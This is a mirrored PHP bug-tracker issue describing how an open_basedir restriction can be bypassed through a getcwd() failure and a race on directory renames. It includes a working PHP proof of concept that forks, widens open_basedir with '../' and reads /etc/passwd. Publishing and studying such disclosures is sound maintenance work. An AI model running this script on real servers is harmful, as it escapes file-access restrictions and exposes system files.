php / php/php-src

open_basedir bypass via getcwd() failure and race condition

Offen
#21,961 0 Kommentare 2 Reaktionen 1 zugewiesene Person Auf GitHub ansehen

@iluuu1994 arbeitet bereits daran.

Seit 06.5.2026.

Bug Category: Streams Status: Verified
Vorherrschende Sprache
C
Sterne
40.4k
Forks
8.2k
Ø Merge
2 T. 13 Std.
Gemergte PRs (30 T.)
96

Beschreibung

Description

Originally reported by @mdsnins.

ZEND_INI_MH(OnUpdateBaseDir) allows narrowing of open_basedir at runtime, but not widening. It does so by expanding each path in the string passed to ini_set('open_basedir', 'path1:path2) and verifying it is a sub-path of one of the existing open_basedir paths.

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L101

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L106

expand_filepath() resolves relative paths by fetching the cwd using VCWD_GETCWD() to resolve the relative path against (when relative_to is NULL, that is). VCWD_GETCWD() can fail and return NULL in some edge-case, the common one being that the length of the CWD exceeds the buffer size, specified by MAXPATHLEN (4096 on Linux).

When VCWD_GETCWD() returns NULL, expand_filepath_with_mode() has a fallback that tries to open the relative file using VCWD_OPEN(), and letting the OS resolve the path.

https://github.com/php/php-src/blob/242fee9cde3f6aa953a54e34c8597dee2e32188f/main/fopen_wrappers.c#L809-L828

This is bad for two reasons:

  • When this operation succeeds, VCWD_GETCWD() returns the unresolved path.
  • The true cwd is not necessary the same as VCWD_GETCWD(). VCWD_GETCWD() handles cwd for zts, where we want a thread-specific cwd, rather than one per process. So even if the lookup succeeds, we might find the wrong file.

Now, these two separate checks allow open_basedir to be circumvented with a race-condition (which we don't consider a security issue due to open_basedir not being a security setting). Another process can expand the cwd of the current process by renaming some folder such that VCWD_GETCWD() operation fails (by exceeding MAXPATHLEN), and renaming it back for VCWD_OPEN() to succeed. When adding ../ to the open_basedir paths, expand_filepath() will return the unchanged path "../", which will also pass the open_basedir check if we're currently present in a sub-folder of one of the open_basedir paths.

<?php

chdir("/tmp");
@mkdir("poc/");
chdir("poc/");

echo "original basedir: " . ini_get("open_basedir") . "\n\n";

$magic_depth = str_repeat(str_repeat("a", 249) . "/", 16);
@mkdir($magic_depth, 0755, true);

chdir($magic_depth);
$pid = pcntl_fork();

if ($pid == -1) die;
if ($pid == 0) {
    for ($i = 0; $i < 20; $i++) {
        $cur_basedir = ini_get("open_basedir");
        ini_set("open_basedir", $cur_basedir . ":../");
    }

    chdir("/tmp");
    chdir("../");

    $passwd = @file_get_contents("etc/passwd");
    if (!$passwd)
        die("failed\n");

    echo "content of /etc/passwd: \n";
    echo $passwd;
    echo "\n";
} else {
    chdir("/tmp"); //go back to original dir
    for ($i = 0; $i < 3000; $i++) {
        rename("poc", str_repeat("x", 250));
        rename(str_repeat("x", 250), "poc");
    }
}

The simplest solution is to just remove the fallback in expand_filepath_with_mode(), which is incorrect to begin with.

PHP Version
-
Operating System

No response

Beitragsleitfaden

Beitragsleitfaden öffnen

Erste Schritte

  1. Lies das ganze Issue und danach den Beitragsleitfaden des Projekts.
  2. Schreib ins Issue, dass du es übernimmst — das erspart doppelte Arbeit.
  3. Forke das Repository und arbeite in einem Branch.
  4. Öffne einen Pull Request, der die Issue-Nummer nennt.

Bewertung

Dieses Issue wurde noch nicht bewertet.

Neue Issues direkt in Ihr Postfach

Eine kurze Übersicht über anfängerfreundliche GitHub-Issues.